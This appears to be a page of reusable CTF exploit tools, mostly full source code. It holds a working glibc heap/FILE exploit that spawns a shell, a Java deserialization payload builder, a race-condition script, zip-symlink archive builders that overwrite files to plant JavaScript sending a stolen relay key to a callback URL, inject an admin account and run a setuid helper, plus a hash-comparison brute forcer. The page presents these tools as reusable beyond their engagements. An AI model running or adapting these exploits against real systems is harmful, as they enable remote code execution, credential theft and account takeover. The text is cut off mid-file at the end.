Each tool came out of a specific engagement and is written to be reusable beyond it. Source is shown inline and downloadable from this directory.
the_emptiness_machine_exploit.py
The first corruption leaked a libc pointer through stdout. The second used stderr to reach system().
Source: The Emptiness Machine. Download: the_emptiness_machine_exploit.py
#!/usr/bin/env python3
"""Exploit for HTB Cyber Apocalypse 2026: The Emptiness Machine."""
from __future__ import annotations
import argparse
import re
import socket
import struct
import sys
import time
PROMPT = b"Rin's interaction: "
WHITESPACE = b" \t\n\r\v\f"
# Offsets in the supplied Ubuntu glibc 2.39.
LEAK_TO_LIBC_BASE = 0x1BD4A0
STDERR = 0x2044E0
STDERR_LOCK = 0x205700
SYSTEM = 0x58750
WFILE_JUMPS = 0x202228
def p64(value: int) -> bytes:
return struct.pack("<Q", value)
def u64(data: bytes) -> int:
return struct.unpack("<Q", data)[0]
def put64(payload: bytearray, offset: int, value: int) -> None:
payload[offset : offset + 8] = p64(value)
class Connection:
def __init__(self, host: str, port: int, timeout: float) -> None:
self.sock = socket.create_connection((host, port), timeout=timeout)
self.sock.settimeout(timeout)
self.buffer = bytearray()
def close(self) -> None:
self.sock.close()
def sendline(self, data: bytes) -> None:
self.sock.sendall(data + b"\n")
def recvuntil(self, marker: bytes, maximum: int = 2 * 1024 * 1024) -> bytes:
while marker not in self.buffer:
chunk = self.sock.recv(65536)
if not chunk:
raise EOFError(f"connection closed after {len(self.buffer)} bytes")
self.buffer.extend(chunk)
if len(self.buffer) > maximum:
raise RuntimeError(f"marker not found within {maximum} bytes")
end = self.buffer.index(marker) + len(marker)
result = bytes(self.buffer[:end])
del self.buffer[:end]
return result
def recvall(self, idle_timeout: float = 2.0) -> bytes:
output = bytearray(self.buffer)
self.buffer.clear()
deadline = time.monotonic() + idle_timeout
while time.monotonic() < deadline:
try:
chunk = self.sock.recv(65536)
except socket.timeout:
break
if not chunk:
break
output.extend(chunk)
deadline = time.monotonic() + idle_timeout
return bytes(output)
def build_stage1() -> bytes:
return p64(0xFBAD1800) + p64(0) * 3 + b"\x00"
def build_stage2(libc_base: int) -> bytes:
stderr = libc_base + STDERR
payload = bytearray(224)
# stderr begins with the command passed to system().
payload[0:8] = b"A=;sh\x00\x00\x00"
# Mark stderr for flushing during exit.
put64(payload, 0x20, 0) # _IO_write_base
put64(payload, 0x28, 1) # _IO_write_ptr
put64(payload, 0x88, libc_base + STDERR_LOCK)
# Store the wide FILE layout inside stderr.
put64(payload, 0xA0, stderr - 0x10) # _wide_data
struct.pack_into("<i", payload, 0xC0, 0) # _mode
put64(payload, 0xC8, libc_base + SYSTEM)
put64(payload, 0xD0, stderr + 0x60) # fake wide vtable
put64(payload, 0xD8, libc_base + WFILE_JUMPS) # validated outer vtable
return bytes(payload)
def find_libc_base(disclosure: bytes) -> tuple[int, int, int]:
"""Scan the disclosure for the libc pointer."""
candidates = []
for offset in range(len(disclosure) - 7):
leaked_pointer = u64(disclosure[offset : offset + 8])
libc_base = leaked_pointer - LEAK_TO_LIBC_BASE
if not 0x700000000000 <= leaked_pointer < 0x800000000000:
continue
if libc_base <= 0 or libc_base & 0xFFF:
continue
candidates.append((offset, leaked_pointer, libc_base))
if not candidates:
raise ValueError(
f"no page-aligned libc candidate in {len(disclosure)} leaked bytes"
)
return candidates[0]
def exploit_once(
host: str,
port: int,
timeout: float,
command: str,
) -> tuple[bytes | None, str]:
connection = Connection(host, port, timeout)
try:
connection.recvuntil(PROMPT)
connection.sendline(build_stage1())
disclosure = connection.recvuntil(PROMPT)
try:
leak_offset, leaked_pointer, libc_base = find_libc_base(disclosure)
except ValueError as exc:
return None, str(exc)
stage2 = build_stage2(libc_base)
bad = [(index, byte) for index, byte in enumerate(stage2) if byte in WHITESPACE]
if bad:
locations = ", ".join(f"{index:#x}={byte:#x}" for index, byte in bad)
return None, f"ASLR produced scanf whitespace bytes: {locations}"
print(f"[+] libc leak: {leaked_pointer:#x}")
print(f"[+] libc base: {libc_base:#x}")
print(f"[+] leak offset: {leak_offset:#x}")
connection.sendline(stage2)
connection.sendline(command.encode())
return connection.recvall(), "payload delivered"
finally:
connection.close()
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("port", type=int)
parser.add_argument(
"--command",
default="cat /flag.txt 2>/dev/null; cat flag.txt 2>/dev/null; exit",
help="command run by the spawned shell",
)
parser.add_argument("--attempts", type=int, default=20)
parser.add_argument("--timeout", type=float, default=4.0)
args = parser.parse_args()
for attempt in range(1, args.attempts + 1):
print(f"[*] attempt {attempt}/{args.attempts}")
try:
output, status = exploit_once(
args.host,
args.port,
args.timeout,
args.command,
)
except (ConnectionError, EOFError, OSError, RuntimeError) as exc:
print(f"[-] {exc}")
continue
if output is None:
print(f"[-] retrying: {status}")
continue
sys.stdout.buffer.write(output)
if output and not output.endswith(b"\n"):
print()
match = re.search(rb"HTB\{[^}\r\n]+\}", output)
if match:
print(f"[+] flag: {match.group().decode()}")
return 0
print("[-] shell ran, but no HTB flag was found in its output")
return 1
print("[-] all attempts exhausted")
return 1
if __name__ == "__main__":
raise SystemExit(main())
OathForger.java
Builds the serialized Java deserialization payload used in Signetry. Constructs a BadAttributeValueExpException wrapping a shaded Jackson POJONode around a TemplatesImpl gadget, removes BaseJsonNode.writeReplace() with Javassist, and writes the trigger to a binary file for inclusion in a DL4J model archive.
Source: Signetry. Download: OathForger.java
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import javax.management.BadAttributeValueExpException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.nd4j.shade.jackson.databind.node.POJONode;
import ysoserial.payloads.util.Gadgets;
public class OathForger {
private static String stringWithHash(int target) {
long value = Integer.toUnsignedLong(target);
if (value == 0) return new String(new char[]{0});
char[] digits = new char[7];
int pos = digits.length;
while (value != 0) {
digits[--pos] = (char)(value % 31);
value /= 31;
}
return new String(digits, pos, digits.length - pos);
}
private static void disableWriteReplace() throws Exception {
ClassPool pool = ClassPool.getDefault();
for (String entry : System.getProperty("java.class.path").split(java.io.File.pathSeparator)) {
if (entry.contains("jackson-1.0.0-M2.1.jar")) {
pool.insertClassPath(entry);
}
}
CtClass base = pool.get(
"org.nd4j.shade.jackson.databind.node.BaseJsonNode"
);
CtMethod method = base.getDeclaredMethod("writeReplace");
base.removeMethod(method);
base.toClass();
}
public static void main(String[] args) throws Exception {
if (args.length != 2) {
throw new IllegalArgumentException(
"usage: OathForger <command> <output-file>"
);
}
disableWriteReplace();
Object templates = Gadgets.createTemplatesImpl(args[0]);
POJONode node = new POJONode(templates);
BadAttributeValueExpException trigger =
new BadAttributeValueExpException(null);
java.lang.reflect.Field valField =
BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(trigger, node);
try (ObjectOutputStream out =
new ObjectOutputStream(new FileOutputStream(args[1]))) {
out.writeObject(trigger);
}
System.out.println("created=" + args[1]);
System.out.println("trigger=BadAttributeValueExpException");
}
}VerifyOath.java
Validates the OathForger payload under Java 11. Deletes any previous proof file, deserializes the payload, reports the expected post-execution exception, and confirms that the embedded command reached the sink.
Source: Signetry. Download: VerifyOath.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.nio.file.Files;
import java.nio.file.Path;
public class VerifyOath {
public static void main(String[] args) throws Exception {
Path proof = Path.of("/tmp/oathforger-proof");
Files.deleteIfExists(proof);
try (ObjectInputStream in =
new ObjectInputStream(new FileInputStream(args[0]))) {
in.readObject();
} catch (Throwable error) {
System.out.println(
"post_execution_exception=" + error.getClass().getSimpleName()
);
}
System.out.println("sink_executed=" + Files.exists(proof));
}
}race_the_oath.py
Races curator finalization against maintainer withdrawal on the Signetry model registry. Loads both cookie jars, verifies roles, stages a fresh model for each attempt, and sends /finalize and /withdraw from separate threads across a series of timing offsets.
Source: Signetry. Download: race_the_oath.py
#!/usr/bin/env python3
import sys
import threading
import time
from pathlib import Path
import requests
TARGET = sys.argv[1].rstrip("/")
MODEL = Path("oathbound-model.zip").read_bytes()
def cookie_header(path):
for line in Path(path).read_text().splitlines():
if not line or (line.startswith("#") and not line.startswith("#HttpOnly_")):
continue
fields = line.split("\t")
if len(fields) >= 7:
return f"{fields[5]}={fields[6]}"
raise RuntimeError(f"no cookie found in {path}")
maintainer = requests.Session()
maintainer.headers["Cookie"] = cookie_header("/tmp/signetry-maint.cookies")
curator = requests.Session()
curator.headers["Cookie"] = cookie_header("/tmp/signetry-conservator.cookies")
# Establish reusable connections before racing.
for name, session in (("maintainer", maintainer), ("curator", curator)):
response = session.get(f"{TARGET}/api/whoami", timeout=10)
response.raise_for_status()
print(f"{name}={response.json()['role']}")
delays = (0.0, 0.0005, 0.001, 0.002, 0.004)
for attempt in range(1, 101):
staged = maintainer.post(
f"{TARGET}/stage",
headers={"Content-Type": "application/zip"},
data=MODEL,
timeout=10,
)
staged.raise_for_status()
token = staged.json()["token"]
result = {}
gate = threading.Barrier(3)
delay = delays[(attempt - 1) % len(delays)]
def finalize():
gate.wait()
result["finalize"] = curator.post(
f"{TARGET}/finalize",
json={"token": token},
timeout=15,
)
def withdraw():
gate.wait()
time.sleep(delay)
result["withdraw"] = maintainer.post(
f"{TARGET}/withdraw",
json={"token": token},
timeout=10,
)
threads = [
threading.Thread(target=finalize),
threading.Thread(target=withdraw),
]
for thread in threads:
thread.start()
gate.wait()
for thread in threads:
thread.join()
final = result["finalize"]
removed = result["withdraw"]
if attempt % 10 == 0 or final.status_code not in (403, 404):
print(
f"attempt={attempt:03d} delay={delay:.4f} "
f"finalize={final.status_code} withdraw={removed.status_code}"
)
if final.status_code not in (403, 404):
print(f"candidate_hit={final.status_code}")
print(f"response={final.text}")
break
else:
print("candidate_hit=none")manifest_mischief.py
Creates the duplicate-entry ZIP used in the Archonyx relay-key stage. Builds a symlink entry and a regular entry with the same name so extraction overwrites an arbitrary target through the operating system's link resolution.
Source: Archonyx. Download: manifest_mischief.py
#!/usr/bin/env python3
"""Build the duplicate-entry archive used in the Archonyx relay-key stage."""
from __future__ import annotations
import argparse
import json
import stat
import zipfile
from pathlib import Path
from urllib.parse import urlencode, urlsplit
DEFAULT_OUTPUT = Path("relay_hijack.zip")
DEFAULT_TARGET = "/app/public/theme.js"
def callback_url(base_url: str) -> str:
parsed = urlsplit(base_url)
if parsed.scheme not in {"http", "https"} or not parsed.netloc:
raise argparse.ArgumentTypeError(
"callback must be an absolute HTTP or HTTPS URL"
)
return base_url
def build_archive(output: Path, target: str, callback: str) -> None:
query_prefix = urlencode({"stage": "relay-key", "key": ""})
callback_prefix = f"{callback}{'&' if '?' in callback else '?'}{query_prefix}"
javascript = f"""
fetch('/api/relay-key', {{credentials: 'include'}})
.then(response => response.json())
.then(result => {{
location.href =
{json.dumps(callback_prefix)}
+ encodeURIComponent(result.data);
}});
""".lstrip()
with zipfile.ZipFile(output, "w") as archive:
link = zipfile.ZipInfo("theme.js")
link.create_system = 3
link.external_attr = (stat.S_IFLNK | 0o777) << 16
link.compress_type = zipfile.ZIP_STORED
archive.writestr(link, target)
replacement = zipfile.ZipInfo("theme.js")
replacement.create_system = 3
replacement.external_attr = (stat.S_IFREG | 0o600) << 16
replacement.compress_type = zipfile.ZIP_STORED
archive.writestr(replacement, javascript)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description=(
"Create the duplicate-entry ZIP used to replace Archonyx theme.js."
)
)
parser.add_argument(
"--callback",
required=True,
type=callback_url,
help="Callback URL that receives the recovered relay key.",
)
parser.add_argument(
"--output",
type=Path,
default=DEFAULT_OUTPUT,
help=f"Output archive path. Default: {DEFAULT_OUTPUT}",
)
parser.add_argument(
"--target",
default=DEFAULT_TARGET,
help=f"Symlink target. Default: {DEFAULT_TARGET}",
)
return parser.parse_args()
def main() -> None:
args = parse_args()
build_archive(args.output, args.target, args.callback)
print(f"created={args.output}")
if __name__ == "__main__":
main()ledger_coup.py
Creates the duplicate-entry ZIP used to replace the Archonyx authentication database. Uses the same symlink-then-regular-file primitive to overwrite db.json with a controlled Ledgermaster account.
Source: Archonyx. Download: ledger_coup.py
#!/usr/bin/env python3
"""Build the duplicate-entry database archive used in Archonyx."""
from __future__ import annotations
import argparse
import json
import stat
import zipfile
from pathlib import Path
DEFAULT_OUTPUT = Path("ledger_coup.zip")
DEFAULT_TARGET = "/app/data/db.json"
def build_archive(
output: Path,
target: str,
username: str,
password_hash: str,
api_key: str,
) -> None:
database = {
"users": [
{
"username": username,
"password": password_hash,
"role": "ledgermaster",
"verified": True,
"apiKey": api_key,
"drawsId": None,
}
],
"convoys": [],
}
with zipfile.ZipFile(output, "w") as archive:
link = zipfile.ZipInfo("db.json")
link.create_system = 3
link.external_attr = (stat.S_IFLNK | 0o777) << 16
link.compress_type = zipfile.ZIP_STORED
archive.writestr(link, target)
replacement = zipfile.ZipInfo("db.json")
replacement.create_system = 3
replacement.external_attr = (stat.S_IFREG | 0o600) << 16
replacement.compress_type = zipfile.ZIP_STORED
archive.writestr(
replacement,
json.dumps(database, indent=2),
)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description=(
"Create the duplicate-entry ZIP used to replace Archonyx db.json."
)
)
parser.add_argument("--username", required=True)
parser.add_argument(
"--password-hash",
required=True,
help="Precomputed bcrypt password hash.",
)
parser.add_argument("--api-key", required=True)
parser.add_argument(
"--output",
type=Path,
default=DEFAULT_OUTPUT,
help=f"Output archive path. Default: {DEFAULT_OUTPUT}",
)
parser.add_argument(
"--target",
default=DEFAULT_TARGET,
help=f"Symlink target. Default: {DEFAULT_TARGET}",
)
return parser.parse_args()
def main() -> None:
args = parse_args()
build_archive(
args.output,
args.target,
args.username,
args.password_hash,
args.api_key,
)
print(f"created={args.output}")
if __name__ == "__main__":
main()seal_sorcery.py
Creates the duplicate-entry ZIP used to place the Archonyx Less plugin. Plants a Node.js module that invokes a setuid helper and writes the result to the public directory.
Source: Archonyx. Download: seal_sorcery.py
#!/usr/bin/env python3
"""Build the duplicate-entry Less plugin archive used in Archonyx."""
from __future__ import annotations
import argparse
import json
import stat
import zipfile
from pathlib import Path
DEFAULT_OUTPUT = Path("seal_sorcery.zip")
DEFAULT_TARGET = "/tmp/seal_plugin.js"
DEFAULT_PROOF_PATH = "/app/public/clearance-proof.txt"
DEFAULT_HELPER = "/readflag"
def build_archive(
output: Path,
target: str,
helper: str,
proof_path: str,
) -> None:
plugin = f"""
const fs = require('fs');
const cp = require('child_process');
module.exports = {{
install() {{
const flag = cp.execFileSync(
{json.dumps(helper)},
{{ encoding: 'utf8' }}
);
fs.writeFileSync(
{json.dumps(proof_path)},
flag
);
}}
}};
""".lstrip()
with zipfile.ZipFile(output, "w") as archive:
link = zipfile.ZipInfo("seal_plugin.js")
link.create_system = 3
link.external_attr = (stat.S_IFLNK | 0o777) << 16
link.compress_type = zipfile.ZIP_STORED
archive.writestr(link, target)
replacement = zipfile.ZipInfo("seal_plugin.js")
replacement.create_system = 3
replacement.external_attr = (stat.S_IFREG | 0o600) << 16
replacement.compress_type = zipfile.ZIP_STORED
archive.writestr(replacement, plugin)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description=(
"Create the duplicate-entry ZIP used to place the Archonyx Less plugin."
)
)
parser.add_argument(
"--output",
type=Path,
default=DEFAULT_OUTPUT,
help=f"Output archive path. Default: {DEFAULT_OUTPUT}",
)
parser.add_argument(
"--target",
default=DEFAULT_TARGET,
help=f"Symlink target. Default: {DEFAULT_TARGET}",
)
parser.add_argument(
"--helper",
default=DEFAULT_HELPER,
help=f"Privileged helper path. Default: {DEFAULT_HELPER}",
)
parser.add_argument(
"--proof-path",
default=DEFAULT_PROOF_PATH,
help=f"Proof output path. Default: {DEFAULT_PROOF_PATH}",
)
return parser.parse_args()
def main() -> None:
args = parse_args()
build_archive(
args.output,
args.target,
args.helper,
args.proof_path,
)
print(f"created={args.output}")
if __name__ == "__main__":
main()corpse_sync.py
Decodes the anomalous audit log produced by the CorpSyncAudit challenge. Matches timestamp and region records, reverses the five-bit conditional XOR transformations, packs six numeric fields into 32-bit words, and recovers four payload bytes per record.
Source: CorpSyncAudit. Download: corpse_sync.py
#!/usr/bin/env python3
import re
import sys
from pathlib import Path
REGION_INDEX = {
"WORLD": 0,
"NORTH_AMERICA": 1,
"LATIN_AMERICA": 2,
"EUROPE": 3,
"EU_EASTERN": 4,
"ASIA": 8,
"EAST_ASIA": 9,
"SUB_SAHARAN_AFRICA": 16,
"AFRICA_EAST": 17,
"AFRICA_WEST": 18,
"AFRICA_SOUTH": 20,
"RUSSIA": 21,
"OCEANIA": 24,
}
WEEKDAY_KEY = {
"Monday": 1,
"Tuesday": 2,
"Wednesday": 3,
"Thursday": 4,
"Friday": 5,
"Saturday": 6,
"Sunday": 7,
}
ENV_KEY = bytes.fromhex("f07ec6a4")
PATTERN = re.compile(
r"^([^,]+), "
r"(\d+)/(\d+)/(\d+) "
r"(\d+):(\d+):(\d+) "
r"(\S+) (\S+) \| Region=(\S+)$"
)
def decode_record(match):
weekday = match.group(1)
day, month, year = map(int, match.group(2, 3, 4))
hour, minute, second = map(int, match.group(5, 6, 7))
_ampm = match.group(8)
timezone = match.group(9)
region = match.group(10)
# FUN_14000314a
if timezone == "GMT":
old_minute = minute
pivot = int((minute + hour - second) / 2)
hour -= pivot
minute = pivot
second = old_minute - pivot
region_index = REGION_INDEX[region]
# FUN_140003117: each region bit controls one field XOR.
if region_index & 0x10:
hour ^= 0x0C
if region_index & 0x08:
minute ^= 0x1E
if region_index & 0x04:
second ^= 0x1E
if region_index & 0x02:
day ^= 0x10
if region_index & 0x01:
month ^= 0x06
# FUN_140003215: pack the fields into one 32-bit value.
packed = (
(hour << 27)
| (minute << 21)
| (second << 15)
| (day << 10)
| (month << 6)
| (year - 1990)
) & 0xFFFFFFFF
weekday_xor = WEEKDAY_KEY.get(weekday, 1)
raw = packed.to_bytes(4, "big")
return bytes(
raw[i] ^ weekday_xor ^ ENV_KEY[i]
for i in range(4)
)
def main():
if len(sys.argv) != 2:
raise SystemExit(f"usage: {sys.argv[0]} suspicious.log")
payload = bytearray()
decoded_records = 0
for line in Path(sys.argv[1]).read_text().splitlines():
match = PATTERN.match(line)
if not match:
continue
payload.extend(decode_record(match))
decoded_records += 1
Path("payload.bin").write_bytes(payload)
print(f"decoded_records={decoded_records}")
print(f"payload_size={len(payload)}")
print(f"first_32_bytes={payload[:32].hex()}")
print("saved=payload.bin")
if __name__ == "__main__":
main()cinder_vm.py
Disassembles and emulates the custom four-byte VM embedded in The Cinder Engine. Extracts the ROM, reconstructs the instruction set, reverses the eight-round validation transform, and verifies the recovered input through forward VM execution.
Source: The Cinder Engine. Download: cinder_vm.py
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import struct
from pathlib import Path
ROM_OFFSET = 0xE80
ROM_SIZE = 0x131E
MASK32 = 0xFFFFFFFF
NAMES = {
0x00: "halt",
0x11: "mov",
0x29: "rol",
0x2A: "ror",
0x2B: "shl",
0x2C: "shr",
0x3A: "li",
0x52: "xor",
0x53: "and",
0x54: "or",
0x6B: "mul",
0x7C: "add",
0x7D: "sub",
0x80: "addi",
0x90: "cmp",
0xA0: "jmp",
0xA1: "jz",
0xA2: "jnz",
0xC4: "load",
0xC5: "store",
0xC6: "rom",
0xE0: "in",
0xE1: "out",
}
def u32(value: int) -> int:
return value & MASK32
def s32(value: int) -> int:
value &= MASK32
return value if value < 0x80000000 else value - 0x100000000
def ror32(value: int, count: int) -> int:
count &= 31
value &= MASK32
if count == 0:
return value
return ((value >> count) | (value << (32 - count))) & MASK32
def rol32(value: int, count: int) -> int:
return ror32(value, -count)
def fields(raw: bytes) -> tuple[int, int, int, int, int, int]:
b0, b1, b2, opcode = raw
imm = b0 | (b1 << 8)
simm = struct.unpack("<h", raw[:2])[0]
dst = b2 >> 4
src1 = b2 & 0xF
src2 = b0 & 0xF
return opcode, imm, simm, dst, src1, src2
def render(pc: int, raw: bytes) -> str:
opcode, imm, simm, dst, src1, src2 = fields(raw)
name = NAMES.get(opcode, f"bad_{opcode:02x}")
if opcode == 0x00:
operands = ""
elif opcode == 0x11:
operands = f"r{dst}, r{src1}"
elif opcode in (0x29, 0x2A, 0x2B, 0x2C):
operands = f"r{dst}, r{src1}, {imm & 31}"
elif opcode == 0x3A:
operands = f"r{dst}, 0x{imm:04x}"
elif opcode in (0x52, 0x53, 0x54, 0x6B, 0x7C, 0x7D):
operands = f"r{dst}, r{src1}, r{src2}"
elif opcode == 0x80:
operands = f"r{dst}, r{src1}, 0x{imm:04x}"
elif opcode == 0x90:
operands = f"r{src1}, r{src2}"
elif opcode in (0xA0, 0xA1, 0xA2):
operands = f"{pc + 4 + simm:#06x} ({simm:+d})"
elif opcode in (0xC4, 0xC6):
operands = f"r{dst}, [r{src1} + 0x{imm:04x}]"
elif opcode == 0xC5:
operands = f"[r{src1} + 0x{imm:04x}], r{dst}"
elif opcode == 0xE0:
operands = f"r{dst}"
elif opcode == 0xE1:
operands = f"r{src1}"
else:
operands = f"raw={raw.hex()}"
return f"{pc:04x}: {raw.hex(' '):11s} {name:5s} {operands}".rstrip()
def linear_rows(rom: bytes) -> list[int]:
"""Recover the 32x32 byte-XOR matrix from the verified linear-layer code."""
regs = [0] * 16
memory = {index: 1 << index for index in range(32)}
for pc in range(0x70, 0x1018, 4):
raw = rom[pc : pc + 4]
opcode, imm, _simm, dst, src1, src2 = fields(raw)
if opcode == 0xC4:
if src1 != 0:
raise RuntimeError(f"unexpected indexed load in linear layer at {pc:#x}")
regs[dst] = memory.get(imm, 0)
elif opcode == 0x52:
regs[dst] = regs[src1] ^ regs[src2]
elif opcode == 0xC5:
if src1 != 0:
raise RuntimeError(f"unexpected indexed store in linear layer at {pc:#x}")
memory[imm] = regs[dst]
else:
raise RuntimeError(
f"unexpected opcode {opcode:#x} in linear layer at {pc:#x}"
)
return [memory[0x80 + index] for index in range(32)]
def invert_linear(rows: list[int], output: bytes) -> bytes:
if len(rows) != 32 or len(output) != 32:
raise ValueError("linear layer must be 32 by 32")
augmented = [[rows[index], output[index]] for index in range(32)]
pivot_row_for_column: dict[int, int] = {}
row = 0
for column in range(32):
pivot = next(
(candidate for candidate in range(row, 32)
if (augmented[candidate][0] >> column) & 1),
None,
)
if pivot is None:
continue
augmented[row], augmented[pivot] = augmented[pivot], augmented[row]
for other in range(32):
if other != row and ((augmented[other][0] >> column) & 1):
augmented[other][0] ^= augmented[row][0]
augmented[other][1] ^= augmented[row][1]
pivot_row_for_column[column] = row
row += 1
if row != 32:
raise RuntimeError(f"linear matrix is not invertible (rank {row})")
return bytes(
augmented[pivot_row_for_column[column]][1] for column in range(32)
)
def solve(rom: bytes) -> tuple[bytes, bytes]:
sbox = rom[0x10C4:0x11C4]
keys_blob = rom[0x11C4:0x12E4]
target = rom[0x12E4:0x1304]
output_key = rom[0x1304:0x131E]
if len(set(sbox)) != 256:
raise RuntimeError("S-box is not a permutation")
inverse_sbox = [0] * 256
for index, value in enumerate(sbox):
inverse_sbox[value] = index
keys = [keys_blob[offset : offset + 32] for offset in range(0, 0x120, 32)]
if len(keys) != 9 or any(len(key) != 32 for key in keys):
raise RuntimeError("unexpected round-key layout")
rows = linear_rows(rom)
state = bytes(target)
for round_number in range(8, 0, -1):
state = bytes(left ^ right for left, right in zip(state, keys[round_number]))
state = invert_linear(rows, state)
state = bytes(inverse_sbox[value] for value in state)
accepted_input = bytes(left ^ right for left, right in zip(state, keys[0]))
flag = bytes(
accepted_input[index] ^ output_key[index]
for index in range(len(output_key))
)
return accepted_input, flag
class VM:
def __init__(self, rom: bytes, input_data: bytes):
self.rom = rom
self.input_data = input_data[:0x1000]
self.input_pos = 0
self.regs = [0] * 16
self.memory = bytearray(0x10000)
self.zero = False
self.pc = 0
self.output = bytearray()
self.steps = 0
def reg(self, index: int) -> int:
return self.regs[index] & MASK32
def set_reg(self, index: int, value: int) -> None:
self.regs[index] = value & MASK32
def run(self, max_steps: int = 10_000_000, trace: bool = False) -> bytes:
while self.steps < max_steps:
if not 0 <= self.pc <= len(self.rom) - 4:
raise RuntimeError(f"PC outside ROM: {self.pc:#x}")
raw = self.rom[self.pc : self.pc + 4]
opcode, imm, simm, dst, src1, src2 = fields(raw)
next_pc = self.pc + 4
self.steps += 1
if trace:
print(render(self.pc, raw))
if opcode == 0x00:
return bytes(self.output)
if opcode == 0x11:
self.set_reg(dst, self.reg(src1))
elif opcode == 0x29:
self.set_reg(dst, rol32(self.reg(src1), imm))
elif opcode == 0x2A:
self.set_reg(dst, ror32(self.reg(src1), imm))
elif opcode == 0x2B:
self.set_reg(dst, self.reg(src1) << (imm & 31))
elif opcode == 0x2C:
self.set_reg(dst, self.reg(src1) >> (imm & 31))
elif opcode == 0x3A:
self.set_reg(dst, imm)
elif opcode == 0x52:
result = self.reg(src1) ^ self.reg(src2)
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x53:
result = self.reg(src1) & self.reg(src2)
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x54:
result = self.reg(src1) | self.reg(src2)
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x6B:
result = u32(s32(self.reg(src1)) * s32(self.reg(src2)))
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x7C:
result = u32(s32(self.reg(src1)) + s32(self.reg(src2)))
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x7D:
result = u32(s32(self.reg(src1)) - s32(self.reg(src2)))
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x80:
result = u32(self.reg(src1) + imm)
self.set_reg(dst, result)
self.zero = result == 0
elif opcode == 0x90:
self.zero = s32(self.reg(src1)) == s32(self.reg(src2))
elif opcode == 0xA0:
next_pc += simm
elif opcode == 0xA1:
if self.zero:
next_pc += simm
elif opcode == 0xA2:
if not self.zero:
next_pc += simm
elif opcode == 0xC4:
address = (imm + self.reg(src1)) & 0xFFFF
self.set_reg(dst, self.memory[address])
elif opcode == 0xC5:
address = (imm + self.reg(src1)) & 0xFFFF
self.memory[address] = self.reg(dst) & 0xFF
elif opcode == 0xC6:
address = (imm + self.reg(src1)) % len(self.rom)
self.set_reg(dst, self.rom[address])
elif opcode == 0xE0:
if self.input_pos < len(self.input_data):
self.set_reg(dst, self.input_data[self.input_pos])
self.input_pos += 1
self.zero = False
else:
self.set_reg(dst, 0)
self.zero = True
elif opcode == 0xE1:
self.output.append(self.reg(src1) & 0xFF)
else:
raise RuntimeError(f"bad opcode {opcode:#x} at {self.pc:#x}")
self.pc = next_pc
raise RuntimeError(f"step limit reached at PC {self.pc:#x}")
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("binary", type=Path)
parser.add_argument("--input", default="")
parser.add_argument("--input-file", type=Path)
parser.add_argument("--trace", action="store_true")
parser.add_argument("--disassemble", action="store_true")
parser.add_argument("--solve", action="store_true")
args = parser.parse_args()
blob = args.binary.read_bytes()
rom = blob[ROM_OFFSET : ROM_OFFSET + ROM_SIZE]
if len(rom) != ROM_SIZE:
raise SystemExit("binary is too short for the verified ROM range")
if args.disassemble:
for pc in range(0, len(rom) - 3, 4):
print(render(pc, rom[pc : pc + 4]))
return
if args.solve:
accepted_input, flag = solve(rom)
print(f"accepted_input_hex={accepted_input.hex()}")
print(f"flag={flag.decode('utf-8', errors='backslashreplace')}")
vm = VM(rom, accepted_input)
output = vm.run()
print(f"verified_output={output.decode('utf-8', errors='backslashreplace')}")
print(f"verified_steps={vm.steps}")
if output != flag:
raise SystemExit("emulator verification failed")
return
input_data = (
args.input_file.read_bytes()
if args.input_file is not None
else args.input.encode()
)
vm = VM(rom, input_data)
output = vm.run(trace=args.trace)
print(output.decode("utf-8", errors="backslashreplace"), end="")
print(f"\n[steps={vm.steps} input={vm.input_pos} pc={vm.pc:#x}]")
if __name__ == "__main__":
main()shapexpect.py
Automates exploitation of a binary-safe comparison bug. The target hashes both the server password and the user guess with SHA-256, then compares the digests with strncmp(). SHA-256 digests are raw bytes and can contain a null byte, and strncmp() treats a null byte as end-of-string. Feed the target guesses whose SHA-256 digest begins with 00, and eventually the server's random digest also begins with 00 on the same round. strncmp() terminates early and reports a match.
The tool spawns the remote service, generates candidates whose hashes start with a null byte, and feeds them in until the comparison collides.
This single tool solved both the Easy and Hard challenges. Hard upgraded its password generation from rand() to std::random_device, but left the strncmp() comparison untouched. Only the HOST line changes between the two.
Source: Guess Password (Easy and Hard). Download: shapexpect.py
import hashlib
import random
import string
import pexpect
HOST = "guess-password-easy.2025-bq.ctfcompetition.com"
PORT = "1337"
def make_zero_hash_input():
while True:
s = ''.join(random.choice(string.ascii_lowercase) for _ in range(8))
h = hashlib.sha256(s.encode()).digest()
if h[0] == 0:
return s
child = pexpect.spawn(
f"nc {HOST} {PORT}",
encoding="utf-8",
timeout=10
)
attempts = 0
while True:
child.expect("Your guess:")
guess = make_zero_hash_input()
attempts += 1
print(f"[{attempts}] trying: {guess}")
child.sendline(guess)
child.expect([
"Wrong! Try again in a second...",
"CTF\\{.*\\}",
pexpect.EOF,
pexpect.TIMEOUT
])
output = child.before + child.after
print(output)
if "CTF{" in output:
print("\nFLAG FOUND:")
print(output)
breakCAPTCHA_goblin.py
Defeats an image-based CAPTCHA gate, then brute forces the login behind it. Selenium drives the browser, Tesseract OCR reads the CAPTCHA image into text, and the script submits the solved CAPTCHA alongside each password attempt, handling the CSRF token and the JavaScript login button per request.
Source: CAPTCHApocolypse. Download: CAPTCHA_goblin.py
"""
CAPTCHA_goblin.py
Selenium + Tesseract OCR CAPTCHA bypass tool. Iterates through a password
wordlist, OCR-reads the CAPTCHA image rendered on the login page, and
distinguishes between CAPTCHA failure (retries same password with fresh
CAPTCHA) and password failure (moves on to next entry).
Used in the CAPTCHApocolypse TryHackMe CTF.
Dependencies:
